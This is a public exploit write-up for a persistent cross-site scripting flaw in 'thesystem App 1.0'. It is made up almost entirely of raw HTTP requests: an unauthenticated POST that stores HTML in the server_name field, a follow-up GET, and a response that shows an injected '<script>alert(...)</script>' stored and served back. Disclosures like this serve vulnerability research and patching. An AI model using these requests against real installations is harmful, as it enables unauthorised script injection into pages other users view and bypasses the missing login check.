60 lines
No EOL
2.2 KiB
Text
60 lines
No EOL
2.2 KiB
Text
# Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting
|
|
# Author: İsmail Güngör
|
|
# Discovery Date: 2019-09-26
|
|
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem
|
|
# Software Link: https://github.com/kostasmitroglou/thesystem
|
|
# Tested Version: 1.0
|
|
# Tested on OS: Windows 10
|
|
# CVE: N/A
|
|
|
|
# Description:
|
|
# Stored XSS after login bypass(login_required didn't used)
|
|
|
|
First of all following request is sent web server
|
|
|
|
POST /data/ HTTP/1.1
|
|
Host: 127.0.0.1:8000
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data; boundary=---------------------------191691572411478
|
|
Content-Length: 332
|
|
Connection: close
|
|
Referer: http://127.0.0.1:8000/data/
|
|
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
-----------------------------191691572411478
|
|
Content-Disposition: form-data; name="csrfmiddlewaretoken"
|
|
|
|
0sryZfN7NDe4UUwhjehPQxPRtaMSq85nbGQjmLc9KL79DBOsfK0Plkvp2MwPus75
|
|
-----------------------------191691572411478
|
|
Content-Disposition: form-data; name="server_name"
|
|
|
|
<h1>test
|
|
-----------------------------191691572411478--
|
|
|
|
After following request is sent web server
|
|
|
|
GET /show_search/ HTTP/1.1
|
|
Host: 127.0.0.1:8000
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Referer: http://127.0.0.1:8000/data/
|
|
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
# Finally, response is shown Xtored XSS:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Thu, 26 Sep 2019 12:25:19 GMT
|
|
Server: WSGIServer/0.2 CPython/3.5.3
|
|
Content-Type: text/html; charset=utf-8
|
|
X-Frame-Options: SAMEORIGIN
|
|
Content-Length: 176
|
|
|
|
('2019-09-26 14:25:01.878572', '1')('2019-09-26 15:16:11.013642', '1')('2019-09-26 15:21:52.962785', '<h1>test')('2019-09-26 15:23:50.367709', '<script>alert("kale")</script>') |